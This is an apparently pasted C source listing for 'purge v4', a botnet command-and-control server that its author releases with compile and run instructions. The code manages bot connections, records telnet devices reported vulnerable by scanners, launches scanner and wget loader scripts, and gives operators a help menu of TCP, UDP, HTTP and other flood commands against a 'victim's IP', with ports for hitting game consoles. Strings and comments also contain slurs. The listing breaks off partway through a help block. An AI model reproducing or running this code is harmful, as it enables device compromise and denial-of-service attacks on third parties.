SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | oo.ooooo. oooo oooo oooo d8b .oooooooo .ooooo. | |
| 3 | 888' `88b `888 `888 `888""8P 888' `88b d88' `88b | |
| 4 | 888 888 888 888 888 888 888 888ooo888 | |
| 5 | 888 888 888 888 888 `88bod8P' 888 .o | |
| 6 | 888bod8P' `V88V"V8P' d888b `8oooooo. `Y8bod8P' | |
| 7 | 888 d" YD | |
| 8 | o888o "Y88888P' | |
| 9 | ~{purge v4 ****BETA**** server side}~
| |
| 10 | gcc purgev4.c -o server -pthread | |
| 11 | screen ./server {bot port} {threads} {admin port}
| |
| 12 | IG:@WebClient | |
| 13 | skype:doyourep | |
| 14 | Twitter: | |
| 15 | Xmpp: | |
| 16 | ||
| 17 | I Decided to release this beacause why keep a server side private | |
| 18 | when all its doing is handling the connections :) | |
| 19 | your welcome | |
| 20 | server side by:@webclient/@ch3ats | |
| 21 | ||
| 22 | Make Sure Make a (purge.txt) for your logins | |
| 23 | ||
| 24 | NEW THINGS ADDED!!!! | |
| 25 | ||
| 26 | CLEAR_BLUE | |
| 27 | CLEAR_PURPLE | |
| 28 | CLEAR_RASTA | |
| 29 | CLEAR_SMALL | |
| 30 | CLEAR_WHITE | |
| 31 | PURGE_SCAN //NEED purge.py for it to work | |
| 32 | ||
| 33 | Here's a Few Color Codes If you Would Like To Change The Color | |
| 34 | ||
| 35 | Blue = '\x1b[0;34m' | |
| 36 | Brown = '\x1b[0;33m' | |
| 37 | Cyan = '\x1b[0;36m' | |
| 38 | DarkGray = '\x1b[1;30m' | |
| 39 | Green = '\x1b[0;32m' | |
| 40 | LightBlue = '\x1b[1;34m' | |
| 41 | LightCyan = '\x1b[1;36m' | |
| 42 | LightGray = '\x1b[0;37m' | |
| 43 | LightGreen = '\x1b[1;32m' | |
| 44 | LightPurple = '\x1b[1;35m' | |
| 45 | LightRed = '\x1b[1;31m' | |
| 46 | Normal = '\x1b[0m' | |
| 47 | Purple = '\x1b[0;35m' | |
| 48 | Red = '\x1b[0;31m' | |
| 49 | White = '\x1b[1;37m' | |
| 50 | Yellow = '\x1b[1;33m | |
| 51 | ||
| 52 | */ | |
| 53 | #include <stdio.h> | |
| 54 | #include <stdlib.h> | |
| 55 | #include <string.h> | |
| 56 | #include <sys/types.h> | |
| 57 | #include <sys/socket.h> | |
| 58 | #include <netdb.h> | |
| 59 | #include <unistd.h> | |
| 60 | #include <time.h> | |
| 61 | #include <fcntl.h> | |
| 62 | #include <sys/epoll.h> | |
| 63 | #include <errno.h> | |
| 64 | #include <pthread.h> | |
| 65 | #include <signal.h> | |
| 66 | ||
| 67 | #define MAXFDS 1000000 | |
| 68 | ||
| 69 | struct account {
| |
| 70 | char id[20]; | |
| 71 | char password[20]; | |
| 72 | }; | |
| 73 | static struct account accounts[50]; //max users is set on 50 you can edit that to whatever | |
| 74 | struct clientdata_t {
| |
| 75 | uint32_t ip; | |
| 76 | char build[7]; | |
| 77 | char connected; | |
| 78 | } clients[MAXFDS]; | |
| 79 | struct telnetdata_t {
| |
| 80 | int connected; | |
| 81 | } managements[MAXFDS]; | |
| 82 | //////////////////////////////////// | |
| 83 | static volatile FILE *telFD; | |
| 84 | static volatile FILE *fileFD; | |
| 85 | static volatile int epollFD = 0; | |
| 86 | static volatile int listenFD = 0; | |
| 87 | static volatile int managesConnected = 0; | |
| 88 | static volatile int TELFound = 0; | |
| 89 | static volatile int scannerreport; | |
| 90 | //////////////////////////////////// | |
| 91 | int fdgets(unsigned char *buffer, int bufferSize, int fd) | |
| 92 | {
| |
| 93 | int total = 0, got = 1; | |
| 94 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
| |
| 95 | return got; | |
| 96 | } | |
| 97 | void trim(char *str) | |
| 98 | {
| |
| 99 | int i; | |
| 100 | int begin = 0; | |
| 101 | int end = strlen(str) - 1; | |
| 102 | while (isspace(str[begin])) begin++; | |
| 103 | while ((end >= begin) && isspace(str[end])) end--; | |
| 104 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
| 105 | str[i - begin] = '\0'; | |
| 106 | } | |
| 107 | static int make_socket_non_blocking (int sfd) | |
| 108 | {
| |
| 109 | int flags, s; | |
| 110 | flags = fcntl (sfd, F_GETFL, 0); | |
| 111 | if (flags == -1) | |
| 112 | {
| |
| 113 | perror ("fcntl");
| |
| 114 | return -1; | |
| 115 | } | |
| 116 | flags |= O_NONBLOCK; | |
| 117 | s = fcntl (sfd, F_SETFL, flags); | |
| 118 | if (s == -1) | |
| 119 | {
| |
| 120 | perror ("fcntl");
| |
| 121 | return -1; | |
| 122 | } | |
| 123 | return 0; | |
| 124 | } | |
| 125 | static int create_and_bind (char *port) | |
| 126 | {
| |
| 127 | struct addrinfo hints; | |
| 128 | struct addrinfo *result, *rp; | |
| 129 | int s, sfd; | |
| 130 | memset (&hints, 0, sizeof (struct addrinfo)); | |
| 131 | hints.ai_family = AF_UNSPEC; | |
| 132 | hints.ai_socktype = SOCK_STREAM; | |
| 133 | hints.ai_flags = AI_PASSIVE; | |
| 134 | s = getaddrinfo (NULL, port, &hints, &result); | |
| 135 | if (s != 0) | |
| 136 | {
| |
| 137 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); | |
| 138 | return -1; | |
| 139 | } | |
| 140 | for (rp = result; rp != NULL; rp = rp->ai_next) | |
| 141 | {
| |
| 142 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
| 143 | if (sfd == -1) continue; | |
| 144 | int yes = 1; | |
| 145 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
| |
| 146 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); | |
| 147 | if (s == 0) | |
| 148 | {
| |
| 149 | break; | |
| 150 | } | |
| 151 | close (sfd); | |
| 152 | } | |
| 153 | if (rp == NULL) | |
| 154 | {
| |
| 155 | fprintf (stderr, "Fuck Boy Change The Port You idiot\n"); | |
| 156 | return -1; | |
| 157 | } | |
| 158 | freeaddrinfo (result); | |
| 159 | return sfd; | |
| 160 | } | |
| 161 | void broadcast(char *msg, int us, char *sender) | |
| 162 | {
| |
| 163 | int sendMGM = 1; | |
| 164 | if(strcmp(msg, "PING") == 0) sendMGM = 0; | |
| 165 | char *wot = malloc(strlen(msg) + 10); | |
| 166 | memset(wot, 0, strlen(msg) + 10); | |
| 167 | strcpy(wot, msg); | |
| 168 | trim(wot); | |
| 169 | time_t rawtime; | |
| 170 | struct tm * timeinfo; | |
| 171 | time(&rawtime); | |
| 172 | timeinfo = localtime(&rawtime); | |
| 173 | char *timestamp = asctime(timeinfo); | |
| 174 | trim(timestamp); | |
| 175 | int i; | |
| 176 | for(i = 0; i < MAXFDS; i++) | |
| 177 | {
| |
| 178 | if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
| 179 | if(sendMGM && managements[i].connected) | |
| 180 | {
| |
| 181 | send(i, "\x1b[31m", 5, MSG_NOSIGNAL); | |
| 182 | send(i, sender, strlen(sender), MSG_NOSIGNAL); | |
| 183 | send(i, ": ", 2, MSG_NOSIGNAL); | |
| 184 | } | |
| 185 | printf("sent to fd: %d\n", i);
| |
| 186 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
| 187 | if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~> \x1b[0m", 13, MSG_NOSIGNAL); | |
| 188 | else send(i, "\n", 1, MSG_NOSIGNAL); | |
| 189 | } | |
| 190 | free(wot); | |
| 191 | } | |
| 192 | void *epollEventLoop(void *useless) | |
| 193 | {
| |
| 194 | struct epoll_event event; | |
| 195 | struct epoll_event *events; | |
| 196 | int s; | |
| 197 | events = calloc (MAXFDS, sizeof event); | |
| 198 | while (1) | |
| 199 | {
| |
| 200 | int n, i; | |
| 201 | n = epoll_wait (epollFD, events, MAXFDS, -1); | |
| 202 | for (i = 0; i < n; i++) | |
| 203 | {
| |
| 204 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) | |
| 205 | {
| |
| 206 | clients[events[i].data.fd].connected = 0; | |
| 207 | close(events[i].data.fd); | |
| 208 | continue; | |
| 209 | } | |
| 210 | else if (listenFD == events[i].data.fd) | |
| 211 | {
| |
| 212 | while (1) | |
| 213 | {
| |
| 214 | struct sockaddr in_addr; | |
| 215 | socklen_t in_len; | |
| 216 | int infd, ipIndex; | |
| 217 | in_len = sizeof in_addr; | |
| 218 | infd = accept (listenFD, &in_addr, &in_len); | |
| 219 | if (infd == -1) | |
| 220 | {
| |
| 221 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
| 222 | else | |
| 223 | {
| |
| 224 | perror ("accept");
| |
| 225 | break; | |
| 226 | } | |
| 227 | } | |
| 228 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; | |
| 229 | int dup = 0; | |
| 230 | for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) | |
| 231 | {
| |
| 232 | if(!clients[ipIndex].connected || ipIndex == infd) continue; | |
| 233 | //WE ARE MAKING SURE THERE IS NO DUP CLIENTS | |
| 234 | if(clients[ipIndex].ip == clients[infd].ip) | |
| 235 | {
| |
| 236 | dup = 1; | |
| 237 | break; | |
| 238 | } | |
| 239 | } | |
| 240 | ||
| 241 | if(dup) | |
| 242 | { //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
| |
| 243 | if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 244 | if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 245 | if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 246 | if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 247 | if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 248 | if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 249 | close(infd); | |
| 250 | continue; | |
| 251 | } | |
| 252 | ||
| 253 | s = make_socket_non_blocking (infd); | |
| 254 | if (s == -1) { close(infd); break; }
| |
| 255 | ||
| 256 | event.data.fd = infd; | |
| 257 | event.events = EPOLLIN | EPOLLET; | |
| 258 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event); | |
| 259 | if (s == -1) | |
| 260 | {
| |
| 261 | perror ("epoll_ctl");
| |
| 262 | close(infd); | |
| 263 | break; | |
| 264 | } | |
| 265 | ||
| 266 | clients[infd].connected = 1; | |
| 267 | send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL); | |
| 268 | send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL); | |
| 269 | ||
| 270 | } | |
| 271 | continue; | |
| 272 | } | |
| 273 | else | |
| 274 | {
| |
| 275 | int thefd = events[i].data.fd; | |
| 276 | struct clientdata_t *client = &(clients[thefd]); | |
| 277 | int done = 0; | |
| 278 | client->connected = 1; | |
| 279 | while (1) | |
| 280 | {
| |
| 281 | ssize_t count; | |
| 282 | char buf[2048]; | |
| 283 | memset(buf, 0, sizeof buf); | |
| 284 | ||
| 285 | while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) | |
| 286 | {
| |
| 287 | if(strstr(buf, "\n") == NULL) { done = 1; break; }
| |
| 288 | trim(buf); | |
| 289 | if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive | |
| 290 | {
| |
| 291 | if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
| |
| 292 | continue; | |
| 293 | } | |
| 294 | if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan | |
| 295 | {
| |
| 296 | char *line = strstr(buf, "REPORT ") + 7; | |
| 297 | fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is! | |
| 298 | fflush(telFD); | |
| 299 | TELFound++; | |
| 300 | continue; | |
| 301 | } | |
| 302 | if(strstr(buf, "PROBING") == buf) | |
| 303 | {
| |
| 304 | char *line = strstr(buf, "PROBING"); | |
| 305 | scannerreport = 1; | |
| 306 | continue; | |
| 307 | } | |
| 308 | if(strstr(buf, "REMOVING PROBE") == buf) | |
| 309 | {
| |
| 310 | char *line = strstr(buf, "REMOVING PROBE"); | |
| 311 | scannerreport = 0; | |
| 312 | continue; | |
| 313 | } | |
| 314 | if(strcmp(buf, "PONG") == 0) | |
| 315 | {
| |
| 316 | continue; | |
| 317 | } | |
| 318 | ||
| 319 | printf("buf: \"%s\"\n", buf);
| |
| 320 | } | |
| 321 | ||
| 322 | if (count == -1) | |
| 323 | {
| |
| 324 | if (errno != EAGAIN) | |
| 325 | {
| |
| 326 | done = 1; | |
| 327 | } | |
| 328 | break; | |
| 329 | } | |
| 330 | else if (count == 0) | |
| 331 | {
| |
| 332 | done = 1; | |
| 333 | break; | |
| 334 | } | |
| 335 | } | |
| 336 | ||
| 337 | if (done) | |
| 338 | {
| |
| 339 | client->connected = 0; | |
| 340 | close(thefd); | |
| 341 | } | |
| 342 | } | |
| 343 | } | |
| 344 | } | |
| 345 | } | |
| 346 | unsigned int clientsConnected() | |
| 347 | {
| |
| 348 | int i = 0, total = 0; | |
| 349 | for(i = 0; i < MAXFDS; i++) | |
| 350 | {
| |
| 351 | if(!clients[i].connected) continue; | |
| 352 | total++; | |
| 353 | } | |
| 354 | ||
| 355 | return total; | |
| 356 | } | |
| 357 | void *titleWriter(void *sock) | |
| 358 | {
| |
| 359 | int thefd = (int)sock; | |
| 360 | char string[2048]; | |
| 361 | while(1) | |
| 362 | {
| |
| 363 | memset(string, 0, 2048); | |
| 364 | sprintf(string, "%c]0; [+] Bots Online: %d [-] Users Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007'); | |
| 365 | if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
| 366 | ||
| 367 | sleep(3); | |
| 368 | } | |
| 369 | } | |
| 370 | int Search_in_File(char *str) | |
| 371 | {
| |
| 372 | FILE *fp; | |
| 373 | int line_num = 0; | |
| 374 | int find_result = 0, find_line=0; | |
| 375 | char temp[512]; | |
| 376 | ||
| 377 | if((fp = fopen("purge.txt", "r")) == NULL){
| |
| 378 | return(-1); | |
| 379 | } | |
| 380 | while(fgets(temp, 512, fp) != NULL){
| |
| 381 | if((strstr(temp, str)) != NULL){
| |
| 382 | find_result++; | |
| 383 | find_line = line_num; | |
| 384 | } | |
| 385 | line_num++; | |
| 386 | } | |
| 387 | if(fp) | |
| 388 | fclose(fp); | |
| 389 | ||
| 390 | if(find_result == 0)return 0; | |
| 391 | ||
| 392 | return find_line; | |
| 393 | } | |
| 394 | ||
| 395 | void *telnetWorker(void *sock) | |
| 396 | {
| |
| 397 | char usernamez[80]; | |
| 398 | int thefd = (int)sock; | |
| 399 | int find_line; | |
| 400 | managesConnected++; | |
| 401 | pthread_t title; | |
| 402 | char counter[2048]; | |
| 403 | memset(counter, 0, 2048); | |
| 404 | char buf[2048]; | |
| 405 | char* nickstring; | |
| 406 | char* username; | |
| 407 | char* password; | |
| 408 | memset(buf, 0, sizeof buf); | |
| 409 | char botnet[2048]; | |
| 410 | memset(botnet, 0, 2048); | |
| 411 | ||
| 412 | FILE *fp; | |
| 413 | int i=0; | |
| 414 | int c; | |
| 415 | fp=fopen("purge.txt", "r");
| |
| 416 | while(!feof(fp)) | |
| 417 | {
| |
| 418 | c=fgetc(fp); | |
| 419 | ++i; | |
| 420 | } | |
| 421 | int j=0; | |
| 422 | rewind(fp); | |
| 423 | while(j!=i-1) | |
| 424 | {
| |
| 425 | fscanf(fp, "%s %s", accounts[j].id, accounts[j].password); | |
| 426 | ++j; | |
| 427 | } | |
| 428 | ||
| 429 | if(send(thefd, "\x1b[31mNickname: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end; | |
| 430 | if(fdgets(buf, sizeof buf, thefd) < 1) goto end; | |
| 431 | trim(buf); | |
| 432 | sprintf(usernamez, buf); | |
| 433 | nickstring = ("%s", buf);
| |
| 434 | find_line = Search_in_File(nickstring); | |
| 435 | if(strcmp(nickstring, accounts[find_line].id) == 0){
| |
| 436 | if(send(thefd, "\x1b[31m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end; | |
| 437 | if(send(thefd, "\x1b[31mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end; | |
| 438 | if(fdgets(buf, sizeof buf, thefd) < 1) goto end; | |
| 439 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 440 | trim(buf); | |
| 441 | if(strcmp(buf, accounts[find_line].password) != 0) goto failed; | |
| 442 | memset(buf, 0, 2048); | |
| 443 | goto fak; | |
| 444 | } | |
| 445 | failed: | |
| 446 | if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; | |
| 447 | if(send(thefd, "\x1b[31m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end; | |
| 448 | if(send(thefd, "\x1b[31m* INVALID LOGIN *\r\n", 44, MSG_NOSIGNAL) == -1) goto end; | |
| 449 | if(send(thefd, "\x1b[31m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end; | |
| 450 | sleep(5); | |
| 451 | goto end; | |
| 452 | fak: | |
| 453 | ||
| 454 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 455 | char line1 [80]; | |
| 456 | char line2 [80]; | |
| 457 | char line3 [80]; | |
| 458 | char line4 [80]; | |
| 459 | char line5 [80]; | |
| 460 | char line6 [80]; | |
| 461 | char line7 [80]; | |
| 462 | char line8 [80]; | |
| 463 | ||
| 464 | sprintf(line1, "\x1b[31m8b,dPPYba, 88 88 8b,dPPYba, ,adPPYb,d8 ,adPPYba, \r\n"); | |
| 465 | sprintf(line2, "\x1b[31m88P' 8a 88 88 88P' Y8 a8* `Y88 a8P_____88 \r\n"); | |
| 466 | sprintf(line3, "\x1b[31m88 d8 88 88 88 8b 88 8PP******* \r\n"); | |
| 467 | sprintf(line4, "\x1b[31m88b, ,a8* 88a, ,a88 88 *8a, ,d88 *8b, ,aa \r\n"); | |
| 468 | sprintf(line5, "\x1b[31m88`YbbdP@ #YbbdP'Y8 88 `YbbdP*Y8 `*Ybbd88* \r\n"); | |
| 469 | sprintf(line6, "\x1b[31m88 aa, ,88 \r\n"); | |
| 470 | sprintf(line7, "\x1b[31m88 *Y8bbdP* \r\n"); | |
| 471 | sprintf(line8, "\r\n\x1b[37m [+]-\x1b[31mWelcome %s To The Purge\x1b[37m-[+]\r\n", accounts[find_line].id, buf); | |
| 472 | ||
| 473 | if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end; | |
| 474 | if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end; | |
| 475 | if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end; | |
| 476 | if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end; | |
| 477 | if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end; | |
| 478 | if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end; | |
| 479 | if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end; | |
| 480 | if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end; | |
| 481 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 482 | managements[thefd].connected = 1; | |
| 483 | ||
| 484 | while(fdgets(buf, sizeof buf, thefd) > 0) | |
| 485 | {
| |
| 486 | if(strstr(buf, "STATUS")) | |
| 487 | {
| |
| 488 | sprintf(botnet, "[+] Telnet devices: %d [-] Telnet status: %d [+]\r\n", TELFound, scannerreport); | |
| 489 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 490 | } | |
| 491 | ||
| 492 | if(strstr(buf, "BOTS")) | |
| 493 | {
| |
| 494 | sprintf(botnet, "[+] Bots Online: %d [-] Users Online: %d [+]\r\n", clientsConnected(), managesConnected); | |
| 495 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 496 | } | |
| 497 | ||
| 498 | if(strstr(buf, "SHOW")) | |
| 499 | {
| |
| 500 | sprintf(botnet, "[+] Bots Online: %d [-] Users Online: %d [+]\r\n", clientsConnected(), managesConnected); | |
| 501 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 502 | } | |
| 503 | ||
| 504 | if(strstr(buf, "bots")) | |
| 505 | {
| |
| 506 | sprintf(botnet, "[+] Bots Online: %d [-] Users Online: %d [+]\r\n", clientsConnected(), managesConnected); | |
| 507 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 508 | } | |
| 509 | if(strstr(buf, "TIME")) | |
| 510 | {
| |
| 511 | sprintf(botnet, "THIS IS FOR THE SKIDZZ\r\nMAX TIME=1500\r\nTHAT DONT MEAN SPAM 1500\r\nIF SOMEONE IS PISSING YOU OFF JUST DO 100-600 SECONDS\r\n"); | |
| 512 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 513 | }//b1nary | |
| 514 | if(strstr(buf, "LOAD")) {
| |
| 515 | system("python scan.py 500 LUCKY2 1 3");
| |
| 516 | if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end; | |
| 517 | continue; | |
| 518 | } | |
| 519 | if(strstr(buf, "PURGE_SCAN")) {
| |
| 520 | system("python purge.py 500 BABE1 1 3");
| |
| 521 | if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end; | |
| 522 | continue; | |
| 523 | } | |
| 524 | if(strstr(buf, "SCAN OFF")) {
| |
| 525 | system("killall -9 python");
| |
| 526 | continue; | |
| 527 | } | |
| 528 | if(strstr(buf, "!* WGET")) {
| |
| 529 | system("python wget.py bots.txt");
| |
| 530 | if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end; | |
| 531 | continue; | |
| 532 | } | |
| 533 | if(strstr(buf, "RULES")) | |
| 534 | {
| |
| 535 | sprintf(botnet, "NO HITTING THE SAME IP MORE THEN TWICE\r\nNO ATTACKS ABOVE 1500\r\n"); | |
| 536 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 537 | } | |
| 538 | if(strstr(buf, "EXTRA")) | |
| 539 | {
| |
| 540 | sprintf(botnet, "EXTRA HELP\r\n"); | |
| 541 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 542 | sprintf(botnet, "!* TCP IP PORT TIME 32 all 0 1\r\nTHE IP=THE VICTIMS IP\r\nPORT LOOK IN THE PORT COMMAND\r\nTIME = HOW LONG DONT GO OVER 1500\r\n"); | |
| 543 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 544 | } | |
| 545 | if(strstr(buf, "PORTS")) | |
| 546 | {
| |
| 547 | sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n"); | |
| 548 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 549 | } | |
| 550 | if(strstr(buf, "!* SCANNER OFF")) | |
| 551 | {
| |
| 552 | sprintf(botnet, "TELNET SCANNER STOPPED\r\n"); | |
| 553 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 554 | } | |
| 555 | if(strstr(buf, "!* TCP")) | |
| 556 | {
| |
| 557 | sprintf(botnet, "Succesfully Sent A TCP FLOOD\r\n"); | |
| 558 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 559 | } | |
| 560 | if(strstr(buf, "!* UDP")) | |
| 561 | {
| |
| 562 | sprintf(botnet, "Succesfully Sent A UDP FLOOD\r\n"); | |
| 563 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 564 | } | |
| 565 | if(strstr(buf, "!* STD")) | |
| 566 | {
| |
| 567 | sprintf(botnet, "Succesfully Sent A STD FLOOD\r\n"); | |
| 568 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 569 | } | |
| 570 | if(strstr(buf, "!* CNC")) | |
| 571 | {
| |
| 572 | sprintf(botnet, "Succesfully Sent A CNC FLOOD\r\n"); | |
| 573 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 574 | } | |
| 575 | if(strstr(buf, "!* HTTP")) | |
| 576 | {
| |
| 577 | sprintf(botnet, "Succesfully Sent A HTTP FLOOD\r\n"); | |
| 578 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 579 | } | |
| 580 | if(strstr(buf, "!* SCANNER ON")) | |
| 581 | {
| |
| 582 | sprintf(botnet, "TELNET SCANNER STARTED\r\n"); | |
| 583 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 584 | } | |
| 585 | if(strstr(buf, "ports")) | |
| 586 | {
| |
| 587 | sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n"); | |
| 588 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 589 | } | |
| 590 | if(strstr(buf, "help")) | |
| 591 | {
| |
| 592 | sprintf(botnet, "\x1b[0;37m[+\x1b[0;31m]Attack Commands----------------------------------\x1b[0;37m\r\n"); | |
| 593 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 594 | sprintf(botnet, "\x1b[0;37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n"); | |
| 595 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 596 | sprintf(botnet, "\x1b[0;37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n"); | |
| 597 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 598 | sprintf(botnet, "\x1b[0;37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n"); | |
| 599 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 600 | sprintf(botnet, "\x1b[0;37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n"); | |
| 601 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 602 | sprintf(botnet, "\x1b[0;37m[+]\x1b[0;31mExtra Commands-----------------------------------\x1b[0;37m\r\n"); | |
| 603 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 604 | sprintf(botnet, "\x1b[0;37m!* KILLATTK | KILLS ALL ATTACKS\r\n"); | |
| 605 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 606 | sprintf(botnet, "\x1b[0;37m!* SCANNER ON | OFF | TURNS ON THE TELNET SCANNER\r\n"); | |
| 607 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 608 | sprintf(botnet, "\x1b[0;37m[+]\x1b[0;31mSp00ky Commands----------------------------------\x1b[0;37m\r\n"); | |
| 609 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 610 | sprintf(botnet, "\x1b[0;37mPORTS | SHOWS THE PORTS TO HIT WITH\r\n"); | |
| 611 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 612 | sprintf(botnet, "\x1b[0;37mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n"); | |
| 613 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 614 | sprintf(botnet, "\x1b[0;37mBOTS | SHOW REAL BOT COUNT\r\n"); | |
| 615 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 616 | sprintf(botnet, "\x1b[0;37mCLS | CLEARS YOUR SCREEN\r\n"); | |
| 617 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 618 | sprintf(botnet, "\x1b[0;37mTIME | JUST LOOK AT IT\r\n"); | |
| 619 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 620 | } | |
| 621 | ||
| 622 | if(strstr(buf, "HELP")) | |
| 623 | {
| |
| 624 | sprintf(botnet, "\x1b[0;37m[+\x1b[0;31m]Attack Commands----------------------------------\x1b[0;37m\r\n"); | |
| 625 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 626 | sprintf(botnet, "\x1b[0;37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n"); | |
| 627 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 628 | sprintf(botnet, "\x1b[0;37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n"); | |
| 629 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
